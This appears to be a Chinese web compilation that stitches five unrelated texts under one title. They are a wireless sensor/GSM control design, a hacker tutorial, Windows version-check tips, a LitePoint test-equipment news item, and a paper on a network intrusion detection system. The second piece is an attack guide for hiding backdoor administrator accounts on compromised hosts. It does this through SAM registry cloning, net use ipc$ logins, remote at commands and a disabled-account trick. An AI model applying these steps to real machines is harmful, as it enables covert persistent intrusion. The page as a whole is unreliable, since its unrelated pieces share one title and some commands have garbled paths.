多种无线系统

2024-08-14

多种无线系统(精选五篇)

多种无线系统 篇1

(一) 系统总体设计方案:

系统可以分为数据采集器、信号处理控制器两大部分 (如下图) 。数据采集器通过各种传感器采集环境信号, 并通过NRF24L01无线模块发送到控制器, 控制器接收并处理信号, 由LCD显示屏显示;由时钟电路产生时间信号, 同时语音播报;红外学习电路学习可进行遥控的电器的红外编码并进行遥控;通过无线串口与PC机通信对数据进行分析;可驱动继电器组工作对相应的外加设备进行控制;可通过GSM模块实现短信提醒与控制。

(二) 各部分方案论证

1. 远程控制与数据传送

(1) 环境数据传输

采用NRF24L01射频模块在2.4GHZ ISM开放频段实现无线传输, 高速率最大达2M, 多频点, 低功耗, 低成本。适用于短程的无线通信, 解决了地理环境对有线数据传输的限制问题。

(2) 控制信号的传输

本系统可学习并记忆各种红外控制类家电的遥控指令, 利用单片机对遥控器的发射信号的波形进行测量, 然后将测量的数据回放, 由于只关心发射信号波形中的高低电平的宽度, 不管其如何编码, 因此做到了真正的“万能”。

本系统由单片机构成集中控制器, 它是自学习与还原的核心部分, 红外接收部分由一体化红外接收头组成, 发射部分有红外发光管极其驱动部分组成。

(3) 与PC的通信

通过RS232无线串口与电脑进行数据传输, 可在PC平台上利用VB编写上位机对数据进行进一步处理。

(4) 短信接收与控制

短信的发送与接收通过TC35模块完成。TC35模块是一款双频900/1800MHZ高度集成的GSM模块, 该模块集成度高, 发送功率2W, 外接SIM卡, 实现收发短信功能。系统通过TC35模块接入GSM网络, 从而实现超远程的无人值守监控, 控制继电器组的开关情况。单片机与TC35采用串行异步通信接口, 由MAX3238芯片进行电平转换, 电气特性好。

2. 传感器信号采集设计与分析

(1) 温度传感器

本设计采用温度传感器DS18B20。DS18B20的数字温度计提供9至12位 (可编程设备温度读数。信息被发送到/从DS18B20通过1线接口, 所以MCU与DS18B20一条线直接连接。为读写以及温度转换可以从数据线本身获得能量, 不需要外接电源。

(2) 霍尔传感器

本设计使用CS3144霍尔开关集成电路应用霍尔效应原理, 该传感器由电压调整器、霍尔电压发生器、差分放大器、史密特触发器, 温度补偿电路和集电极开路的输出级组成的磁敏传感电路, 其输入为磁感应强度, 输出是一个数字电压讯号, 直接接入MCU, 便于开发、工作稳定。

二硬件电路设计

(1) 语音提示电路设计

采用ISD2560语音录放芯片实现语音提示功能, ISD2560芯片采用多电平直接模拟量存储专利技术, 每个采样值直接存储在片内单个E2PROM单元中, 不需另加A/D或D/A变换来存储和重放, 能够非常自然、真实地再现语音。

(2) TC35模块接口电路

TC35短消息模块采用RS-232C标准接口与单片机通信。

(3) NRF24L01模块电路

该模块的电路设计简单, 只需要3.3V工作电压, 将数据控制于单片机连接即可控制。供电方面使用3.3V稳压二极管, 可有效降低设计成本。由于单片机工作于5V电压, IO口的输出电压也为5V, 与无线模块连接时需要串接2.2K电阻, 可提高通信的稳定性。

三软件设计

(1) 程序设计流程

包括密码校验, 控制电器, 系统设置, 发送短信, PC通信, 语音播报。

(2) 短消息发送程序设计

单片机对TC35模块的控制TC35模块采用AT指令, 单片机可以通过正确的AT指令对TC35模块进行初始化和短消息的接收发送。AT指令由串口以ASCII码形式发送, 首先发送AT+CMGF=1<CR>, <CR>为回车符号, 也就是0x0d, 1代表PDU模式。指令正确则返回OK。AT+CMGS=<length><CR>, 表示短消息发送的长度, 模块返回字符/>0, 则PDU数据输入, PDU数据以0x1a (ASCII码) 作为结束符。短消息发送成功, 模块返回OK。

(3) 上位机设计

本系统为了给用户提供一个良好的人机对话界面, 以及做进一步的数据分析, 利用RS232通信标准通过VB控件设计了与PC机软件, 传输波特率为9600kbps。

参考文献

[1]周晓光, 王晓华.射频识别 (RFID) 技术原理与应用实例[M].北京:人民邮电出版社, 2006年12月.

[2]童诗白, 华成英.模拟电子技术基础[M].北京:高等教育出版社, 2004年10月.

多种无线系统 篇2

图形界面下适用本地或开3389终端服务的肉鸡上,上面我提到的那位作者说的方法很好,但是较为复杂,还要用到psu.exe(让程序以系统用户身份运行的程序),如果在肉鸡上的话还要上传psu.exe。我说的这个方法将不用到psu.exe这个程序。因为Windows有两个注册表编辑器:regedit.exe和regedt32.exe。XP中regedit.exe和regedt32.exe实为一个程序,修改键值的权限时在右键中点“权限”来修改。对regedit.exe我想大家都很熟悉,但却不能对注册表的项键设置权限,而regedt32.exe最大的优点就是能够对注册表的项键设置权限。NT/2000/xp的帐户信息都在注册表的HKEY_LOCAL_MACHINESAMSAM键下,但是除了系统用户SYSTEM外,其它用户都无权查看到里面的信息,因此我首先用regedt32.exe对SAM键为我设置为“完全控制”权限。这样就可以对SAM键内的信息进行读写了了。具体步聚如下:

1、假设我们是以超级用户administrator登录到开有终端服务的肉鸡上的,首先在命令行下或帐户管理器中建立一个帐户:hacker$,这里我在命令行下建立这个帐户

net user hacker$ 1234 /add

2、在开始/运行中输入:regedt32.exe并回车来运行regedt32.exe。

3、点“权限”以后会弹出窗口

点添加将我登录时的帐户添加到安全栏内,这里我是以administrator的身份登录的,所以我就将administrator加入,并设置权限为“完全控制”。这里需要说明一下:最好是添加你登录的帐户或帐户所在的组,切莫修改原有的帐户或组,否则将会带来一系列不必要的问题。等隐藏超级用户建好以,再来这里将你添加的帐户删除即可。

4、再点“开始”→“运行”并输入“regedit.exe”回车,启动注册表编辑器regedit.exe。打开键:

HKEY_LOCAL_MAICHINESAMSAMDomainsaccountusernameshacker$“

5、将项hacker$、00000409、000001F4导出为hacker.reg、409.reg、1f4.reg,用记事本分别打这几个导出的文件进行编辑,将超级用户对应的项000001F4下的键“F”的值复制,并覆盖hacker$对应的项00000409下的键“F”的值,然后再将00000409.reg与hacker.reg合并。

6、在命令行下执行net user hacker$ /del将用户hacker$删除:

net user hacker$ /del

7、在regedit.exe的窗口内按F5刷新,然后打文件-导入注册表文件将修改好的hacker.reg导入注册表即可

8、到此,隐藏的超级用户hacker$已经建好了,然后关闭regedit.exe。在regedt32.exe窗口内把HKEY_LOCAL_MACHINESAMSAM键权限改回原来的样子(只要删除添加的帐户administrator即可)。

9、注意:隐藏的超级用户建好后,在帐户管理器看不到hacker$这个用户,在命令行用“net user”命令也看不到,但是超级用户建立以后,就不能再改密码了,如果用net user命令来改hacker$的密码的话,那么在帐户管理器中将又会看这个隐藏的超级用户了,而且不能删除。

二、如何在命令行下远程建立隐藏的超级用户

在这里将用at的命令,因为用at产生的计划任务是以系统身份运行的,所以也用不到psu.exe程序。为了能够使用at命令,肉鸡必须开有schedule的服务,如果没有开启,可用流光里带的工具netsvc.exe或sc.exe来远程启动,当然其方法也可以,只要能启动schedule服务就行。

对于命令行方式,你可以采用各种连接方式,如用SQLexec连接MSSQL的1433端口,也可以用telnet服务,只要以你能得到一个cmdshell,并且有运行at命令的权限就可以。

1、首先找到一台肉鸡,至于如何来找那不是我这里所说的话题。这里先假设找到一台超级用户为administrator,密码为12345678的肉鸡,现在我们开始在命令行下远程为它建立隐藏的超级用户。(例子中的主机是我的局域网内的一台主机,我将它的ip地址改为13.50.97.238,,请勿在互联网上对号入座,以免骚扰正常的ip地址。)

2、先与肉鸡建立连接,命令为:net use 13.50.97.238ipc$ ”12345678“ /user:”administrator

3、用at命令在肉鸡上建立一个用户(如果at服务没有启动,可用小榕的netsvc.exe或sc.exe来远程启动):

at 13.50.97.238 12:51 c:winntsystem32net.exe user hacker$ 1234 /add

建立这个加有$符的用户名,是因为加有$符后,命令行下用net user将不显示这个用户,但在帐户管理器却能看到这个用户。

4、同样用at命令导出HKEY_LOCAL_MACHINEsamsamDomainsaccountusers下键值:

at 13.50.97.238 12:55 c:winntregedit.exe /e hacker.reg HKEY_LOCAL_MACHINESAMSAMDomainsaccountusers

/e 是regedit.exe的参数,在_LOCAL_MACHINESAMSAMDomainsaccountusers这个键的一定要以结尾。必要的情况下可以用引号将“c:winntregedit.exe /e hacker.reg HKEY_LOCAL_MACHINESAMSAMDomainsaccountusers”引起来。

5、将肉鸡上的hacker.reg下载到本机上用记事本打开进行编辑命令为:

copy 13.50.97.238admin$system32hacker.reg c:hacker.reg

修改的方法图形界中已经介绍过了,这里就不作介绍了,

6、再将编辑好的hacker.reg拷回肉鸡上

copy c:hacker.reg 13.50.97.238admin$system32hacker1.reg

7、查看肉鸡时间:net time 13.50.97.238 然后用at命令将用户hacker$删除:

at 13.50.97.238 13:40 net user hacker$ /del

8、验证hacker$是否删除:用

net use 13.50.97.238 /del 断开与肉鸡的连接。

net use 13.50.97.238ipc$ “1234” /user:“hacker$” 用帐户hacker$与肉鸡连接,不能连接说明已删除。

9、再与肉鸡建立连接:net use 13.50.97.238ipc$ “12345678” /user:“administrator”

再取得肉鸡时间,用at命令将拷回肉鸡的hacker1.reg导入肉鸡注册表:

at 13.50.97.238 13:41 c:winntregedit.exe /s hacker1.reg

regedit.exe的参数/s是指安静模式。

10、再验证hacker$是否已建立,方法同上面验证hacker$是否被删除一样。

11、再验证用户hacker$是否有读、写、删的权限,如果不放心,你还可验证是否能建立其它帐户。

12、通过11可以断定用户hacker$具有超级用户权限,因为最初我用at命令建立它的时候是一个普通用户,而现在却具有远程读、写、删的权限。

三、如果肉鸡没有开3389终端服务,而我又不想用命令行,怎么办?

这种情况下,你也可以用界面方式来远程为肉鸡建立隐藏的超级用户。因为regedit.exe、regedt32.exe都有连接网络注册表的功能,你可以用regedt32.exe来为远程主机的注册表项设置权限,用regedit.exe来编辑远程注册表。帐户管理器也有一项连另一台计算机的功能,你可以用帐户管理器为远程主机建立和删除帐户。具体步聚与上面介绍的相似,我就不多说了,只它的速度实在是令人难以忍受。

但是这里有两个前提:1、先用net use 肉鸡ipipc$ “密码” /user:“超级用户名”来与远程主机建立连接以后,才能用regedit.exe regedt32.exe及帐户管理器与远程主机连接。

2、远程主机必须开启远程注册表服务(没有开启的话,你也可以远程开启,因为你有超级用户的密码了)。

四、利用被禁用的帐户建立隐藏的超级用户

我们可以用肉鸡上被禁止的用户来建立隐藏的超组用户.方法如下:

1.想办法查看有哪些用户被细心的管理员禁止,一般情况下,有些管理员出于安全考虑,通常会将guest禁用,当然了会禁用其它用户。在图形界面下,非常容易,只要在帐户管理器中就可以看到被禁用的帐户上有一个红叉;而在命令行下,我还没有想到好的办法,只能在命令行下用命令:“net user 用户名”一个一个来查看用户是否被禁用。

2.在这里,我们假设用户hacker被管理员禁用。首先,我先用小榕的超组用户克隆程序CA.exe,将被禁用的用户hacker 克隆成超级用户(克隆之后,被禁用的用户hacker就会自动被激活了): CA.EXE 肉鸡ip Administrator 超级用户密码 hacher hacher密码。

3.如果你现在一个cmdshell,如利用telnet服务或SQLEXEC连接肉鸡的msSQL的默认端口1433得到的shell都可以,这时你只要输入命令:

net user hacker /active:no

这样用户hacker就被禁用了(至少表面上是这样的),当然你也可以将用户hacher换成其它的被禁用的用户。

4.这时如果你在图形界面下看帐户管理器中的用户时,会发现用户hacker被禁用了,但事实上是这样的吗?你用这个被禁用的用户连接一下肉鸡看看是否能连上?用命令:net user 肉鸡ipipc$ “hacker密码” /user:“hacker” 连一连看看。我可以告诉大家,经过我多次试验,次次都能成功,而且还是超级用户权限。

5.如果没有cmdshell怎么办?你可以我上面介绍的at命令来禁用用户hacker;命令格式:at 肉鸡ip 时间 net user hacker /active:no

6.原理:具体的高深的原理我也说不上来,我只能从最简单的说。你先在图形界面下在帐户管理器中禁用一下超级用户administrator看看,肯定会弹出一对话框,并禁止你继续禁用超级用户administrator,同样,因为在克隆时,hacker在注册表的“F”键被超级用户administrator在注册表的“F”键所替代,因而hacker就具有了超级用户的权限了,但是由于hacker在注册表内“C”健还是原来的“C”键,所以hacker还是会被禁用,但是它的超级用户权限却不会被禁用,因此被禁用的用户hacker还是可以连接肉鸡,而且还具有超级用户的权限。具体我也说不明白,大家权且这么理解吧。

五、注意的几点事项

1、隐藏的超级用户建立以后,在帐户管理器中和命令行下均看不到这个用户,但这个用户却存在。

2、隐藏的超级用户建立以后,就不能再修改密码了,因为一旦修改密码,这个隐藏的超级用户就会暴露在帐户管理器中,而且不能删除。

3、如在本机上试验时,最好用系统自带的备份工具先备份好本机的“系统状态”主要是注册表的备份,因为本人做试验时,曾出现过帐户管理器中看不到任何用户,组中也看不到任何组的现象,但它们却存在。幸好我有备份,呵呵。SAM键是毕竟系统最敏感的部位。

多种方法查看系统版本号 篇3

方法一:按下“Windows+R”组合键,打开“运行”对话框,输入“msinfo32.exe”,运行之后打开“系统信息”对话框,在右侧窗格找到“硬件抽象层”,在这里可以查看到系统版本(如图1)。

方法二:右击开始按钮,从快捷菜单选择“命令提示符(管理员)”,输入并运行“slmgr/dlv”,稍候会打开“Windows Script Host”对话框,在这里可以查看激活系统时的“软件授权服务版本”,注意这一版本号与方法一的版本号可能有所区别,这主要是因为不同的激活方法,可能会导致数据变化。

方法三:按下“Windows+R”组合键,打开“运行”对话框,输入“regedit”,打开注册表编辑器,依次跳转到“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion”,在右侧窗格查看BuildLab和BuildLabEx的值(如图2)。

多种无线系统 篇4

本刊讯随着人们对无线通信需求的广泛增长, 移动终端产品正呈快速增长之势。据行业专家预测, 2012年智能手机销量将达到6亿部, 而平板电脑销售将达到1.26亿台。面对如此大的市场需求, 智能手机和平板电脑制造商却备受产品测试困扰, 因为测试速度无法提升而影响产能。前不久, 无线通信测试设备供应商LitePoint (莱特波特) 公司召开了以“极速而‘莱’, 智测无线”为主题的新品发布会, 其重推的LitePoint IQxstreamR平台的IQvector™软件将有效解决这一瓶颈问题。

Litepoint中国区总经理王钢介绍, “通过使用LitePoint IQxstream测试平台并配备专利软件和测试技术后, 制造商可在两分钟内同时测试四部终端产品。”如果采用传统测试产品和方式, 要想提高产出率, 制造商只能去添置新测试设备或增加生产配套。而采用Lite Point解决方案, 四部终端并行测试的创新设计以及非信令测试技术的采用使得厂商可在不缩减测试要求情况下极大地增加产出。这套方案设备操作简洁, 只有四个端口, 一个开关, 而且Lite Point还有针对目前最常用芯片组进行优化的测试软件。根据客户的反馈, 即便没有任何测试经验的操作员也能在一小时培训之内掌握新设备并合格上岗, 从而易于部署, 缩短生产周期。

会上, LitePoint展示了其可以满足多种通信标准的快速易用的手机综测仪IQxstream, 专为中国定制的面向低端智能手机测试的IQ2010智以及第一款满足IEEE 802.11ac的生产测试方案IQxel。据介绍, 目前该公司的产品解决方案覆盖当今主流消费电子产品中的无线信号的全方位测试, 包括手机的2G/3G/4G/LTE测试、IEEE 802.11ac和IEEE 802.11a/b/g/n/p的Wi-Fi测试、蓝牙、NFC、GPS等测试。

融合多种技术的网络入侵检测系统 篇5

近几年来, 新技术的不断涌现使网络带宽迅速增加, 同时新的攻击方式不断出现使检测规则库不断扩大, 这都使目前普遍使用的基于误用的网络入侵检测系统面临着巨大的挑战, 它的分析、处理速度越来越难跟得上网络流量和规则库规模的增加, 从而经常造成数据包的漏检。提高处理速度、解决数据包漏检是提高误用型网络入侵检测系统的性能的关键。

本文阐述了一种新型高效的网络入侵检测系统, 将协议流分析、协议分析、规则优化等新技术结合传统的模式匹配技术, 综合应用于系统中, 全面提高了检测的效率和准确率。

1 关键技术和重要数据结构

1.1 协议分析与命令解析

TCP/IP协议是一组不同层次上的多个协议的组合, 各协议分别负责不同的通信功能。其严格分层的特点为协议分析的方法提供了依据。网络协议的层次示意如图1所示。

分层协议分析是围绕网络协议栈中的各层协议定义展开, 通过调用各种网络协议解析例程实现的。这些子例程的调用按照网络协议栈自下而上的顺序进行, 从网络接口层到传输层, 直到应用层结束。其主要功能是对当前数据包进行分层协议格式字段的分析, 并设置数据结构Packet中的各种指针, 使其指向数据包的不同位置, 以便检测引擎执行下一步的分析工作。协议分析树如图2所示。

许多入侵的语义只有在应用层才能理解, 而命令解析就是通过协议分析找到命令行字符串的位置, 调用不同的命令语法解析器, 对不同的高层协议, 包括Telnet, FTP, HTTP, SMTP, S N M P, DNS等用户命令进行详细的分析。

命令解析器具备读取攻击命令字符串及其所有可能的变形, 并发掘其本质涵义的能力。基于协议分析和命令分析的入侵检测系统, 与通常的模式匹配系统相比, 一般具有较小的攻击特征库。以HTTP协议解析器为例, 它使用与Web服务器完全相同的机制来处理URL字符串, 它们之间的区别在于, 在发掘出输入命令的真实含义后, Web服务器将执行这一命令, 并可能遭受恶意命令的攻击破坏, 而入侵检测系统则会将解析后的命令字符串, 送入特征搜索处理模块, 处理完毕后, 就丢弃该字符串, 不会受到恶意命令的攻击。

1.2 协议流分析

协议流是指在应用层协议中的客户端和服务器端的通讯。客户到服务器的数据流称之为客户流;服务器到客户的数据流称之为服务器流。协议流分析, 是指根据应用层协议的特征, 将网络上的数据流分成客户流和服务器流。协议流分析是基于这样的一种假设:来自于受保护的服务器的数据流是可以信赖的。也就是说, 受保护的服务器发出的负载数据流不需要进行检测。其目的是为了减少需要检测的网络流量。通过协议流分析, 找出那些数据流来自服务器, 直接将其抛弃, 从而减少需要检测的数据流量, 提高攻击检测的效率。

如在HTTP协议中, 客户端请求流通常为几百个字节:而HTTP服务器响应流的数据量, 通常在5000字节到15000字节, 其中的服务器响应头大概只有300个字节, 剩下的数据是响应负载。有分析表明, HTTP服务器响应流占整个HTTP流量的95%, 其中服务器响应头一般不到整个HTTP流量的5%。由于在受保护的流量中, 服务器是可以信赖的, 所以响应负载一般不含有攻击特征, 不需要进行检测。这就意味着, 总共只有占整个HTTP流量10% (5%的客户端数据和约5%的服务器端响应头数据) 的流量需要检测。对HTTP协议的分析同样适用于FTP协议, 而在FTP流量中我们只需要检测客户端数据即可。以HTTP和FTP协议流的处理过程为例介绍协议流分析的过程。如图3所示。

1.3 规则与规则链表

在对于底层 (网络层和传输层) 协议的检测中, 系统采用类似Snort系统的规则库和规则链表方式构建检测引擎, 这种模式具有较好的可扩充性。不同的是本系统结合TCP/IP协议树对各协议单独组建检测链表, 再对链表各节点索引排序, 这样减少了不必要的匹配过程, 提高了检测效率和速度。以IP协议为例, 其相应检测链表如图4所示。

1.3.1 Snort规则和二维链表

Snort规则使用一种简单的描述语言来表示网络上带有攻击标识的数据包。这种描述语言在形式上虽然不够完备, 但是相当灵活, 且具有很强的描述性。Snort规则被分成两个逻辑部分:规则头和规则选项。规则头包含规则的动作, 协议, 源和目标IP地址与网络掩码, 以及源和目标端口信息;规则选项部分包含报警消息内容和要检查的包的具体部分。

系统启动时所有规则按照不同协议被解析为一组二维链表结构。不同的规则头形成链表的横向, 每个规则头对应一个单元即链表头节点 (Rule Tree Node, RTN) , 每个链表头节点都对应一个纵向链表, 由对应该规则头的不同规则选项形成, 每个单元即链表选项节点 (Option Tree Node, OTN) 对应不同的规则选项。二维链表结构如图5所示。

对检查每一个数据包, 系统都会在二维方向上对相应链表进行递归搜索工作。数据包首先在横向链表上进行匹配, 只有与某RTN匹配后才会与相应纵向链表匹配。若发现与某节点匹配, 则系统做出相应处理。

1.3.2 二维链表的索引排序

在网络的实际运行过程中, 入侵者的攻击行为具有一些相同的特征, 比如通常都是从扫描系统漏洞开始, 一种网络病毒的传播在一个特定的阶段相对集中等。因此, NIDS所监视的网络数据包在一段时间内会具有一定的共性。如果在系统检测出多个攻击数据包后, 对与之匹配的规则进行适当的调整, 使后继的同类数据包能够尽快与规则相匹配, 将能有效提高系统发现攻击的速度, 提高系统的整体运行效率。

在本系统中, 为每个规则选项链表建立一个索引, 形成一个索引链, 当一条规则匹配成功时, 将其对应的索引调整至索引链的前部。实现方法为:在内存中开辟一个保存索引链的空间, 动态地调整索引的顺序, 不必对规则链进行实际的改动, 因此不影响系统的运行。对匹配规则的动态调整能够实时、快速地反映网络行为的变化, 尤其对一些密集型的攻击行为, 检测效率明显提高。

建立动态选项索引链表后, 对于匹配成功的规则头, 不是按规则选项链表顺序进行匹配, 而是从规则头指向的选项索引开始, 依次对选项索引指向的选项节点进行匹配操作。与之类似, 我们也可以对二维链表中规则头链表进行相应的索引排序。带索引的二维链表如图6。

1.4 预处理器

本系统采用与Snort系统类似的预处理器, 同时增加了用于协议流分析的预处理器。预处理器的作用就是对当前截获的数据包进行预处理, 以便后继处理模块对数据包的处理操作。本系统中预处理器的功能主要有三种:数据包分片的重组及数据流的重组、对某些协议 (如HTTP协议) 的数据传输中可能会出现的特殊编码的数据做处理、协议流分析。

1.5 数据结构Packet

Packet是一个全局数据结构, 在其定义中, 所有字段大致可分为三部分。第一部分是指示原始数据包截获信息的字段, 包括*pkth和*pkt指针, pcap_thhdr结构, 定义了数据包截获的时间戳、数据包截获和实际长度值;字段pkt指向原始的数据包数据地址。第二部分是用于存放当前数据包协议解析后所得信息的字段, 主要包括以太网报文头结构, IP, TCP, UDP, ICMP的包数据结构及包头的一些内容。第三部分是各种标识字段, csum_flags标识数据包中TCP/LDP/IP的校验和是否正确, packet_flags指示当前数据包所处的状态, preprocessors主要用于标识需要调用的预处理类型, 等等。

2 系统流程

2.1 系统整体流程

首先, 系统通过抓包程序从网络中获得一个数据包, 调用协议解析函数彻底解析数据包并把解析结果存入Packet结构中去。随后对数据包进行协议流分析, 不满足检测条件就丢弃该数据包, 继续获取下一个数据包。若满足检测条件就展开对数据包的分层分协议的检测处理。检测处理过程具体为按协议层次自下而上依次调用相应的协议处理子模块。在此过程中若发现入侵, 则进行相应的输出处理后返回。未发现入侵, 则自动返回获取下一个数据包.流程图如图7所示。

2.2 IP协议处理模块流程

网络接口层、网络层、传输层的处理模块有着基本相似的流程, 即包头校验、数据包的预处理, 匹配相应检测链表等等。下面以IP协议为例介绍各处理模块的基本工作流程。

首先, 检验IP数据包包头是否正确, 随后查看数据包是否分片, 若分片则调用IP分片重组预处理器进行重组, 随后将Packet结构中有关IP协议的信息与IP协议检测链表各节点依次进行匹配。若发现匹配, 则进行相应输出处理 (报警、记录等) 后返回。若未发现匹配, 则继续读取上层的协议类型, 调用相关处理模块进行处理。流程图如图8所示。

2.3 HTTP协议处理模块流程

应用层协议的处理模块与底层协议的处理模块不同, 它们是基于命令解析技术构造的, 并且有基本相似的工作流程。下面以Http协议处理模块为例介绍应用层协议处理模块的基本流程:首先找到URL字符串的位置, 再调用相应预处理器对字符串做标准化处理, 随后调用Http解析器对字符串进行检测, 若发现异常, 则做相应输出处理, 随后丢弃报文返回。若未发现异常, 则直接丢弃报文返回。流程图如图9所示。

3 总结

本文所设计的网络入侵检测系统, 将多种技术综合应用于系统中, 与传统的基于模式匹配技术的网络入侵检测系统相比, 具有较高的检测的效率和准确率。协议流分析技术的应用, 减少了需检测的数据流量;基于二维链表的模式匹配技术降低了系统开发的难度;链表结构和预处理器的应用, 为系统提供了良好的可扩展性;将规则库按协议分别构建检测链表, 将检测范围迅速定位到规则库的一个子集中, 大大降低了特征匹配所需的计算量;将链表的索引排序, 提高了检测的速度和效率, 应用层命令解析的应用, 以很小的计算量, 从语义层面上对数据包进行了彻底的检测, 提高了检测的准确率。总之, 该系统集模式匹配技术和协议分

析加命令解析技术之所长, 具有很高的工作效率和准确度, 减少了漏报的发生, 并且具有良好的扩展性, 适用于大流量的网络环境。

摘要:为适应当前网络流量迅速增长及检测规则库不断扩大的客观要求, 本文提出了一种综合协议流分析、协议分析和规则库优化等技术的网络入侵检测系统模型, 并从理论上分析了该系统具有较高的检测效率和准确率。

关键词:入侵检测,协议流分析,协议分析,模式匹配

参考文献

[1]唐正军.入侵检测技术导论, 机械工业出版社.2004.4.

[2]林国庆.网络入侵检测系统的研究与剖析.西安建筑科技大学硕士学位论文.2004.3.

[3]陈红军.网络入侵检测系统设计引擎的设计实现.山东大学硕士学位论文.2005.4.

[4]余兆力.基于Snort的网络入侵检测系统研究.浙江工业大学硕士学位论文.2004.4.

[5]侯方明, 李大兴.一种新的基于协议树的入侵检测系统的设计.计算机应用研究.2005.7.

上一篇:权力性行为下一篇:民主环境与氛围